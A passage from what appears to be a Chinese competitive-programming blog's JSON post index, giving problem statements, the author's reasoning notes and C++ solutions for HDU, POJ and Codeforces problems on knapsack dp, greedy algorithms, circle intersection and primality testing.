第三行包括一个正整数m，表示卡上的余额。m\u003c=1000。 n=0表示数据结束。 Output 对于每组输入,输出一行,包含一个整数，表示卡上可能的最小余额。 Sample Input 1 50 5 10 1 2 3 2 1 1 2 3 2 1 50 0 Sample Output -45 32 Source UESTC 6th Programming Contest Online 在入门dp。 显然是01背包。 cost和value都是价钱。 但是有限制条件。 很容易想到，为了使得余额最少，我们要把最贵的留在最后买。 读入的时候把最贵的菜价拿出来 然后剩下的n-1个菜，做一个容量为m-5的01背包。 注意如果m\u003c5,直接输出即可。 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月22日 星期一 22时44分27秒 6 File Name :code/hdu/2546.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstring\u003e 12 #include \u003ccstdio\u003e 13 #include \u003ccmath\u003e 14 15 using namespace std; 16 17 const int N=2E3+5; 18 int mmax; 19 int a[N],dp[N],posi; 20 int n,m; 21 22 void ZeroOnePack(int value ,int cost) 23 { 24 for ( int i = m - 5 ; i \u003e= cost ; i-- ) 25 dp[i]=max(dp[i],dp[i-cost]+value); 26 27 } 28 29 int main() 30 { 31 while (scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n) 32 { mmax = -1; 33 memset(dp,0,sizeof(dp)); 34 memset(a,0,sizeof(a)); 35 for ( int i = 1 ; i \u003c= n ; i++) 36 scanf(\"%d\",\u0026a[i]); 37 for ( int i = 1 ; i \u003c= n ; i++) 38 if ( a[i] \u003e mmax ) 39 { 40 mmax=a[i]; 41 posi=i; 42 } 43 scanf(\"%d\",\u0026m); 44 if ( m\u003c 5) {printf(\"%d\\n\",m);continue;} 45 46 47 for ( int i = 1 ; i \u003c= n ; i++ ) 48 if ( i!=posi ) 49 ZeroOnePack(a[i],a[i]); 50 printf(\"%d\\n\",m-dp[m-5]-mmax); 51 } 52 return 0; 53 }","date":"2015-04-04","externalUrl":null,"permalink":"/2015/04/hdu2546/","section":"Posts","summary":"饭卡 # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 14225 Accepted Submission(s): 4945 **","tags":["01背包","dp"],"title":"hdu 2546 饭卡 （01背包）","type":"post"},{"categories":["ACM"],"content":"ZCC Loves Codefires Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 988 Accepted Submission(s): 500 Problem Description Though ZCC has many Fans, ZCC himself is a crazy Fan of a coder, called “Memset137”. It was on Codefires(CF), an online competitive programming site, that ZCC knew Memset137, and immediately became his fan. But why? Because Memset137 can solve all problem in rounds, without unsuccessful submissions; his estimation of time to solve certain problem is so accurate, that he can surely get an Accepted the second he has predicted. He soon became IGM, the best title of Codefires. Besides, he is famous for his coding speed and the achievement in the field of Data Structures. After become IGM, Memset137 has a new goal: He wants his score in CF rounds to be as large as possible. What is score? In Codefires, every problem has 2 attributes, let’s call them Ki and Bi(Ki, Bi＞0). if Memset137 solves the problem at Ti-th second, he gained Bi-KiTi score. It’s guaranteed Bi-KiTi is always positive during the round time. Now that Memset137 can solve every problem, in this problem, Bi is of no concern. Please write a program to calculate the minimal score he will lose.(that is, the sum of Ki*Ti). Input The first line contains an integer N(1≤N≤10^5), the number of problem in the round. The second line contains N integers Ei(1≤Ei≤10^4), the time(second) to solve the i-th problem. The last line contains N integers Ki(1≤Ki≤10^4), as was described. Output One integer L, the minimal score he will lose. Sample Input 3 10 10 20 1 2 3 Sample Output 150 Hint Memset137 takes the first 10 seconds to solve problem B, then solves problem C at the end of the 30th second. Memset137 gets AK at the end of the 40th second. L = 10 * 2 + (","date":"2015-03-31","externalUrl":null,"permalink":"/2015/03/hdu4882/","section":"Posts","summary":"ZCC Loves Codefires Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 988 Accepted Submission(s): 500 Problem Description Though ZCC has many Fans, ZCC himself is a crazy Fan of a coder, called “Memset137”. It was on Codefires(CF), an online competitive programming site, that ZCC knew Memset137, and immediately became his fan. But why? Because Memset137 can solve all problem in rounds, without unsuccessful submissions; his estimation of time to solve certain problem is so accurate, that he can surely get an Accepted the second he has predicted. He soon became IGM, the best title of Codefires. Besides, he is famous for his coding speed and the achievement in the field of Data Structures. After become IGM, Memset137 has a new goal: He wants his score in CF rounds to be as large as possible. What is score? In Codefires, every problem has 2 attributes, let’s call them Ki and Bi(Ki, Bi＞0). if Memset137 solves the problem at Ti-th second, he gained Bi-KiTi score. It’s guaranteed Bi-KiTi is always positive during the round time. Now that Memset137 can solve every problem, in this problem, Bi is of no concern. Please write a program to calculate the minimal score he will lose.(that is, the sum of Ki*Ti).","tags":["greedy"],"title":"HDOJ 4882 Loves Codefires","type":"post"},{"categories":["ACM"],"content":"Wooden Sticks Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 19008 Accepted: 8012 Description There is a pile of n wooden sticks. The length and weight of each stick are known in advance. The sticks are to be processed by a woodworking machine in one by one fashion. It needs some time, called setup time, for the machine to prepare processing a stick. The setup times are associated with cleaning operations and changing tools and shapes in the machine. The setup times of the woodworking machine are given as follows: (a) The setup time for the first wooden stick is 1 minute. (b) Right after processing a stick of length l and weight w , the machine will need no setup time for a stick of length l’ and weight w’ if l \u003c= l’ and w \u003c= w’. Otherwise, it will need 1 minute for setup. You are to find the minimum setup time to process a given pile of n wooden sticks. For example, if you have five sticks whose pairs of length and weight are ( 9 , 4 ) , ( 2 , 5 ) , ( 1 , 2 ) , ( 5 , 3 ) , and ( 4 , 1 ) , then the minimum setup time should be 2 minutes since there is a sequence of pairs ( 4 , 1 ) , ( 5 , 3 ) , ( 9 , 4 ) , ( 1 , 2 ) , ( 2 , 5 ) . Input The input consists of T test cases. The number of test cases (T) is given in the first line of the input file. Each test case consists of two lines: The first line has an integer n , 1 \u003c= n \u003c= 5000 , that represents the number of wooden sticks in the test case, and the second line contains 2n positive integers l1 , w1 , l2 , w2 ,…, ln , wn , each of magnitude at most 10000 , where li and wi are the length and weight of the i th wooden stick, respectively. The 2n integers are delimited by one or more spaces. Output The output should contain the minimum setup time in minutes, one per line. Sample Input 3 5 4 9 5 2 2 1 3 5 1 4 3 ","date":"2015-03-31","externalUrl":null,"permalink":"/2015/03/poj1065/","section":"Posts","summary":"Wooden Sticks Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 19008 Accepted: 8012 Description There is a pile of n wooden sticks. The length and weight of each stick are known in advance. The sticks are to be processed by a woodworking machine in one by one fashion. It needs some time, called setup time, for the machine to prepare processing a stick. The setup times are associated with cleaning operations and changing tools and shapes in the machine. The setup times of the woodworking machine are given as follows: (a) The setup time for the first wooden stick is 1 minute. (b) Right after processing a stick of length l and weight w , the machine will need no setup time for a stick of length l’ and weight w’ if l \u003c= l’ and w \u003c= w’. Otherwise, it will need 1 minute for setup. You are to find the minimum setup time to process a given pile of n wooden sticks. For example, if you have five sticks whose pairs of length and weight are ( 9 , 4 ) , ( 2 , 5 ) , ( 1 , 2 ) , ( 5 , 3 ) , and ( 4 , 1 ) , then the minimum setup time should be 2 minutes since there is a sequence of pairs ( 4 , 1 ) , ( 5 , 3 ) , ( 9 , 4 ) , ( 1 , 2 ) , ( 2 , 5 ) . Input","tags":["greedy"],"title":"poj 1065 Wooden Sticks","type":"post"},{"categories":["ACM"],"content":"简单贪心。 因为填的字母没有次数限制，所以最优策略很容易想到，就是在最后面填最大的。 不用实际去填，算出ans就可以。 1 2 3 4 #include \u003ciostream\u003e 5 #include \u003ccmath\u003e 6 #include \u003ccstring\u003e 7 #include \u003calgorithm\u003e 8 9 using namespace std; 10 11 int main() 12 { 13 int k,len; 14 char st[2000]; 15 int a[2000]; 16 memset(a,0,sizeof(a)); 17 int w[50]; 18 cin\u003e\u003est\u003e\u003ek; 19 int m=-1; 20 for (int i=1;i\u003c=26;i++) 21 { 22 23 cin\u003e\u003ew[i]; 24 if (w[i]\u003em) 25 m=w[i]; 26 } 27 len=strlen(st); 28 for (int i=0;i\u003clen;i++) 29 a[i]=(int)(st[i]-96); 30 long long ans=0; 31 for (int i=0;i\u003clen;i++) 32 { 33 ans=ans+w[a[i]]*(i+1); 34 // cout\u003c\u003cans\u003c\u003cendl; 35 } 36 for (int i=len;i\u003clen+k;i++) 37 ans=ans+m*(i+1); 38 cout\u003c\u003cans\u003c\u003cendl; 39 return 0; 40 }","date":"2015-03-30","externalUrl":null,"permalink":"/2015/03/cf447b/","section":"Posts","summary":"简单贪心。 因为填的字母没有次数限制，所以最优策略很容易想到，就是在最后面填最大的。 不用实际去填，算出ans就可以。","tags":["greedy"],"title":"codeforces 447 B. DZY Loves Strings","type":"post"},{"categories":["ACM"],"content":"简单贪心…. 需要注意的是数据是非负，所以有0的情况要考虑周全，基本都要特殊处理。 多WA了三次，不知道为什么交C++可以过，交G++就不行。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月19日 星期五 16时38分28秒 5 File Name :code/hdu/1009.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003ccstring\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ciomanip\u003e 13 14 using namespace std; 15 16 int main() 17 { 18 int m,n,f[1500],j[1500]; 19 double scale[1500]; 20 double ans,sum; 21 while(scanf(\"%d %d\",\u0026m,\u0026n)!=EOF\u0026\u0026(m!=-1)) 22 { ans=0; 23 // if (m==0) 24 memset(scale,0,sizeof(scale)); 25 memset(f,0,sizeof(f)); 26 memset(j,0,sizeof(j)); 27 // bool flag=false; 28 for (int i=1;i\u003c=n;i++) 29 { 30 scanf(\"%d %d\",\u0026j[i],\u0026f[i]); 31 if (f[i]!=0) 32 scale[i]=(double)j[i]*1.0/f[i]; 33 else if (j[i]!=0) 34 { 35 ans=ans+j[i]; 36 37 } 38 } 39 // if (flag) {cout\u003c\u003cfixed\u003c\u003csetprecision(3)\u003c\u003cans\u003c\u003cendl;continue;} 40 for (int i=1;i\u003c=n-1;i++) 41 for (int k=i+1;k\u003c=n;k++) 42 if (scale[i]\u003cscale[k]) 43 { 44 swap(scale[i],scale[k]); 45 swap(j[i],j[k]); 46 swap(f[i],f[k]); 47 } 48 sum=0; 49 int i=1; 50 while (m\u003e=sum\u0026\u0026i\u003c=n) 51 { 52 ans=ans+j[i]; 53 sum=sum+f[i]; 54 i++; 55 } 56 i--; 57 ans=ans-j[i]; 58 sum=sum-f[i]; 59 ans=ans+(m-sum)*scale[i]; 60 cout\u003c\u003cfixed\u003c\u003csetprecision(3)\u003c\u003cans\u003c\u003cendl; 61 62 63 } 64 return 0; 65 }","date":"2015-03-30","externalUrl":null,"permalink":"/2015/03/hdu1009/","section":"Posts","summary":"简单贪心…. 需要注意的是数据是非负，所以有0的情况要考虑周全，基本都要特殊处理。 多WA了三次，不知道为什么交C++可以过，交G++就不行。","tags":["greedy"],"title":"hdu 1009 FatMouse' Trade","type":"post"},{"categories":["ACM"],"content":"一开始算法想的有点问题。 坑点在于走廊两侧都有房间 也就是说room1和room2对应的位置是一样的 1 to 3 4to6 是没法同时完成的。 做法就是整个扫一遍，看哪个位置的重复次数最大，*10就是答案。 1 2 #include \u003ciostream\u003e 3 #include \u003calgorithm\u003e 4 #include \u003ccmath\u003e 5 #include\u003ccstdio\u003e 6 #include \u003ccstring\u003e 7 8 using namespace std; 9 10 int main() 11 { 12 int t,n,a[300],b[300]; 13 int p[300]; 14 int ans; 15 scanf(\"%d\",\u0026t); 16 while (t--) 17 { 18 19 scanf(\"%d\",\u0026n); 20 memset(p,0,sizeof(p)); 21 memset(a,0,sizeof(a)); 22 memset(b,0,sizeof(b)); 23 for (int i=1;i\u003c=n;i++) 24 { 25 scanf(\"%d %d\",\u0026a[i],\u0026b[i]); 26 if (a[i]\u003eb[i]) 27 swap(a[i],b[i]); 28 for (int j=(a[i]+1)/2;j\u003c=(b[i]+1)/2;j++) 29 p[j]++; 30 } 31 ans=0; 32 for (int i=1;i\u003c=200;i++) 33 if (p[i]\u003eans) 34 ans=p[i]; 35 printf(\"%d\\n\",ans*10); 36 } 37 return 0; 38 }","date":"2015-03-26","externalUrl":null,"permalink":"/2015/03/hdu1050/","section":"Posts","summary":"一开始算法想的有点问题。 坑点在于走廊两侧都有房间 也就是说room1和room2对应的位置是一样的","tags":["模拟"],"title":"hdu 1050 Moving Tables","type":"post"},{"categories":["ACM"],"content":"题意：求两个相等的圆环的相交的面积…. 简单计算几何+容斥原理？ 扇形面积公式记错调了半天2333333333 这题不难…倒是从学长那里收获了几点关于代码规范的问题… 听说了学长在北京区域赛时把PI定义错了一位结果一直WA的教训…. 以后还是写acos(-1)吧 局部变量和全局变量因为【想怎么其变量名想得整个人都不好了】就起成了一样的…被学长给了差评。 哦，对！还有一个就是发现了cmath库里有一个奇葩的函数名叫y1.。。。。。。。 —————————————————————————————————————————————— 竟然CE了 提示 error:pow(int,int) is ambiguous 看来我对语言的掌握程度还是不行呀….. “就是一个函数声明为pow(double, double)你必须传两个double参数进去。但你传int也可以，int会转型会double，但c++有重载。声明了两个函数pow(double, double)，pow(long long, double),你传两个int进去编译器不知道把int转为double还是转为long long” “解决办法是把int转型成double (xxx) 或者long long (xxx)” 也可以 简单粗暴的xxx.0 (int,int)-\u003e(double,int)?(double,double) 1 2 3 #include \u003ciostream\u003e 4 #include \u003ccmath\u003e 5 #include \u003ciomanip\u003e 6 7 using namespace std; 8 9 int t,tt; 10 int rr,RR,x11,x22,y11,y22; 11 double ans; 12 const double PI=acos(-1); 13 const double C=10e-6; 14 double area(int x1,int y1,int x2,int y2,int R,int r); 15 int main() 16 { 17 cin\u003e\u003et; 18 tt=t; 19 while (t--) 20 { 21 cin\u003e\u003err\u003e\u003eRR; 22 cin\u003e\u003ex11\u003e\u003ey11\u003e\u003ex22\u003e\u003ey22; 23 ans=area(x11,y11,x22,y22,RR,RR)-2*area(x11,y11,x22,y22,RR,rr)+ 24 area(x11,y11,x22,y22,rr,rr); 25 cout\u003c\u003c\"Case #\"\u003c\u003ctt-t\u003c\u003c\": \" 26 \u003c\u003cfixed\u003c\u003csetprecision(6)\u003c\u003cans\u003c\u003cendl; 27 } 28 return 0; 29 } 30 double area(int x1,int y1,int x2,int y2,int R,int r) 31 { 32 double d; 33 double A,a; 34 double st; 35 d=sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2)); 36 if (d\u003e=r+R) 37 return 0; 38 if (R-r\u003e=d) 39 return r*r*PI; 40 A=acos((R*R+d*d-r*r)/(2.0*d*R)); 41 a=acos((r*r+d*d-R*R)/(2.0*d*r)); 42 st=R*d*sin(A); 43 A=A*2; 44 a=a*2; 45 return (A*R*R+a*r*r)/2.0-st; 46 }","date":"2015-02-19","externalUrl":null,"permalink":"/2015/02/hdu5120/","section":"Posts","summary":"题意：求两个相等的圆环的相交的面积…. 简单计算几何+容斥原理？ 扇形面积公式记错调了半天2333333333 这题不难…倒是从学长那里收获了几点关于代码规范的问题… 听说了学长在北京区域赛时把PI定义错了一位结果一直WA的教训…. 以后还是写acos(-1)吧 局部变量和全局变量因为【想怎么其变量名想得整个人都不好了】就起成了一样的…被学长给了差评。 哦，对！还有一个就是发现了cmath库里有一个奇葩的函数名叫y1.。。。。。。。 —————————————————————————————————————————————— 竟然CE了 提示 error:pow(int,int) is ambiguous 看来我对语言的掌握程度还是不行呀…..","tags":["计算几何"],"title":"hdu 5120 - Intersection","type":"post"},{"categories":["ACM"],"content":"Description Matt has N friends. They are playing a game together. Each of Matt’s friends has a magic number. In the game, Matt selects some (could be zero) of his friends. If the xor (exclusive-or) sum of the selected friends’magic numbers is no less than M , Matt wins. Matt wants to know the number of ways to win. Input The first line contains only one integer T , which indicates the number of test cases. For each test case, the first line contains two integers N, M (1 ≤ N ≤ 40, 0 ≤ M ≤ 10 6). In the second line, there are N integers ki (0 ≤ k i ≤ 10 6), indicating the i-th friend’s magic number. Output For each test case, output a single line “Case #x: y”, where x is the case number (starting from 1) and y indicates the number of ways where Matt can win. 正解貌似是高斯消元….不会的说….PYY说不就是解方程么….然后我去看了下…..挺多概念没学线代的话还是挺眼生的…（orzpyy大神）记得高三的时候做过一个用矩阵加速求线性递推式的东西….当时10^18的数据秒过….还是挺让我惊讶了一下… 扯远了… 这题dp也能做，有点类似01背包（dp真是够渣，寒假看看能不能抽时间弄一下，依然是最大的短板） 只不过状态转移方程是 dp[i][j]=dp[i-1][j]+dp[i-1][j^a[i]] 然后正常些貌似会MLE。。。。。用到了滚动数组 其实滚动数组,完全…没有理解的难度啊 竟然是我第一次使用，大概是因为基本没怎么做过DP的题吧，而滚动数组这个优化貌似主要在Dp的题里需要… 然后在搜滚动数组的时候，看到一篇博客里用异或来表示两个状态我觉得这一点也很赞….. 我自己想的话的大概就要又加，又mod，然后还得再来一个变量了吧…..差评满满 还有位运算….是挺神的东西….目前还处于一知半解的阶段….ORZ M67大神 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月19日 星期五 16时30分04秒 5 File Name :code/hdu/5119.cpp 6 ************************************************ */ 7 8 #include\u003ciostream\u003e 9 #include\u003ccmath\u003e 10 #include\u003ccstring\u003e 11 #include\u003calgorithm\u003e 12 const long long C=1\u003c\u003c21; 13 long long dp[2][C]; 14 using namespace std; 15 16 int main() 17 { 18 int t,a[49]; 19 cin\u003e\u003et; 20 int tt; 21 tt=t; 22 while (t--) 23 24 { 25 int n,m,roll; 26 roll=0; 27 memset(dp,0,sizeof(dp)); 28 dp[0][0]=1; 29 cin\u003e\u003en\u003e\u003em; 30 for(int i=0;i\u003cn;i++) 31 cin\u003e\u003ea[i]; 32 33 for(int i=0;i\u003cn;i++","date":"2015-02-17","externalUrl":null,"permalink":"/2015/02/hdu5119/","section":"Posts","summary":"Description Matt has N friends. They are playing a game together. Each of Matt’s friends has a magic number. In the game, Matt selects some (could be zero) of his friends. If the xor (exclusive-or) sum of the selected friends’magic numbers is no less than M , Matt wins.","tags":["dp"],"title":"hdu 5119 - Happy Matt Friends（dp解法）","type":"post"},{"categories":["ACM"],"content":"题意是说用k重颜色填充n*m的方格，第i种颜色要用ci次，保证ci（i属于1..k）的和为n\"m，问是否有可行解，若有，输出任意一种。 第一感觉是dfs.。。而且数据范围还那么小。但是鉴于我上次dfs写成汪的经历….嗯 不过群里有学长说似乎剪枝不太好想？ 我一开始分了四类，o行o列，e行e列，e行o列，o行e列，（o是odd，e是even）然后将c[i]排序，先填大的C[I]，感觉这样应该更容易找到解。交了一发,WA掉了。。发现当k较小的时候，也就是c[i]都相对较大的时候，先填大的C[I]的策略会出现错误。于是我换了下….按c[i]的大小从两边往中间…然后我还发现其实o行o列和e行e列可以归为一类，同理，后两种也可以归为一类。又交，又WA2333333 然后想了好久。。。 发现对于上面说的两类的处理顺序不同会得到不同的结果…….只有一种是对的。于是加了个judge函数判断冲突…如果冲突就换个顺序…..再交，A了。 过程中出现了两个语法上的错误….**一个是=写成了==(从来都是把==写成=。。。) 另一个是无参数的函数依然要写（）。。。。。。 确实不难….的确是我生疏了。 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 16时20分07秒 6 File Name :code/hdu/5113.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstring\u003e 12 13 using namespace std; 14 15 int c[100],cc[100]; 16 int ans[10][10]; 17 int colorid[100]; 18 int n,m,k; 19 void look(); 20 bool judge(); 21 22 23 int main() 24 { 25 int tt; 26 int t; 27 int kk; 28 29 cin\u003e\u003et; 30 tt=t; 31 32 33 int i,j; 34 int head; 35 int flag; 36 while (t--) 37 { head=1; 38 flag=1; 39 memset(ans,0,sizeof(ans)); 40 cin\u003e\u003en\u003e\u003em\u003e\u003ek; 41 kk=k; 42 for (i=1;i\u003c=k;i++) 43 cin\u003e\u003ec[i]; 44 45 for (i=1;i\u003c=k;i++) 46 colorid[i]=i; 47 for (i=1;i\u003ck;i++) 48 for (j=i+1;j\u003c=k;j++) 49 if (c[i]\u003ec[j]) 50 { 51 swap(c[i],c[j]); 52 swap(colorid[i],colorid[j]); 53 } 54 for (i=1;i\u003c=k;i++) 55 cc[i]=c[i]; 56 57 58 59 if (c[k]\u003e(n*m+1)/2) { cout\u003c\u003c\"Case #\"\u003c\u003ctt-t\u003c\u003c\":\"\u003c\u003cendl;cout\u003c\u003c\"NO\"\u003c\u003cendl;continue;} 60 61 for (i=1;i\u003c=n;i++) 62 for (j=1;j\u003c=m;j++) 63 if ((i%2+j%2)%2==1) 64 { 65 if (flag%2==1) 66 { 67 68 69 ans[i][j]=colorid[k]; 70 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\"j:\"\u003c\u003cj\u003c\u003c\" \"\u003c\u003ccolorid[k]\u003c\u003cendl; 71 72 c[k]--; 73 if (c[k]==0) 74 { 75 k--; 76 flag++; 77 78 } 79 } 80 else 81 { 82 ans[i][j]=colorid[head]; 83 84 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\"j:\"\u003c\u003cj\u003c\u003c\" \"\u003c\u003ccolorid[head","date":"2015-02-17","externalUrl":null,"permalink":"/2015/02/hdu5113/","section":"Posts","summary":"题意是说用k重颜色填充n*m的方格，第i种颜色要用ci次，保证ci（i属于1..k）的和为n\"m，问是否有可行解，若有，输出任意一种。 第一感觉是dfs.。。而且数据范围还那么小。但是鉴于我上次dfs写成汪的经历….嗯 不过群里有学长说似乎剪枝不太好想？ 我一开始分了四类，o行o列，e行e列，e行o列，o行e列，（o是odd，e是even）然后将c[i]排序，先填大的C[I]，感觉这样应该更容易找到解。交了一发,WA掉了。。发现当k较小的时候，也就是c[i]都相对较大的时候，先填大的C[I]的策略会出现错误。于是我换了下….按c[i]的大小从两边往中间…然后我还发现其实o行o列和e行e列可以归为一类，同理，后两种也可以归为一类。又交，又WA2333333 然后想了好久。。。 发现对于上面说的两类的处理顺序不同会得到不同的结果…….只有一种是对的。于是加了个judge函数判断冲突…如果冲突就换个顺序…..再交，A了。","tags":["模拟"],"title":"hdu 5113  Black And White","type":"post"},{"categories":["ACM"],"content":"ACM STEPS里的…这题前面一道是求LCM….结果接下来就是这么一道。。。 朴素会超….筛法会爆….题目顺序真是按照难度来的？ 于是想到 Miller-Rabin素数测试……. 这个方法是基于费马小定理 我的理解就是… 如果我要判断n是否为素数 只要取k个数 如果满足 a^(n-1)mod n =1 那么n就很可能为素数。 证明什么的…暂时还是算了吧…论文里貌似扯了一大堆 第一次用，竟然真的A了。。。。 感觉更好的办法也许是先打一个比较小的素数表，然后每次random选取若干个进行判断…那样应该更可靠些？ 本来想WA掉之后再改的。。。没想到这么写就A掉了。。。。杭电数据略水？ 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月19日 星期五 16时54分19秒 5 File Name :code/hdu/2138.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003ccmath\u003e 10 #include \u003cstdio.h\u003e 11 #include \u003ccstring\u003e 12 13 using namespace std; 14 15 typedef long long LL; 16 LL power(LL m,LL n,LL k) 17 { 18 int b = 1; 19 while (n \u003e 0) 20 { 21 if (n \u0026 1) 22 b = (b*m)%k; 23 n = n \u003e\u003e 1 ; 24 m = (m*m)%k; 25 } 26 return b; 27 } 28 bool judge(LL n) 29 { 30 LL i; 31 if (n\u003c=3) return true; 32 for (i=2;i\u003c=ceil(sqrt(n))+1;i++) 33 if (n %i==0) return false; 34 return true; 35 } 36 37 int main() 38 { 39 LL i,n,x; 40 41 while (scanf(\"%I64d\",\u0026n)!=EOF) 42 { LL ans=0; 43 for (i=1;i\u003c=n;i++) 44 { 45 scanf(\"%I64d\",\u0026x); 46 if ((power(61,x-1,x)==1)\u0026\u0026(power(11,x-1,x)==1)\u0026\u0026(power(31,x-1,x)==1) 47 \u0026\u0026(power(97,x-1,x)==1)) 48 ans++; 49 } 50 printf(\"%I64d\\n\",ans); 51 } 52 return 0; 53 }","date":"2015-02-17","externalUrl":null,"permalink":"/2015/02/hdu2138/","section":"Posts","summary":"ACM STEPS里的…这题前面一道是求LCM….结果接下来就是这么一道。。。 朴素会超….筛法会爆….题目顺序真是按照难度来的？ 于是想到 Miller-Rabin素数测试……. 这个方法是基于费马小定理 我的理解就是… 如果我要判断n是否为素数 只要取k个数 如果满足 a^(n-1)mod n =1 那么n就很可能为素数。 证明什么的…暂时还是算了吧…论文里貌似扯了一大堆 第一次用，竟然真的A了。。。。 感觉更好的办法也许是先打一个比较小的素数表，然后每次random选取若干个进行判断…那样应该更可靠些？ 本来想WA掉之后再改的。。。没想到这么写就A掉了。。。。杭电数据略水？","tags":["math","Miller-Rabin素数测试","number theory"],"title":"hdu 2138 How many prime numbers","type":"post"}]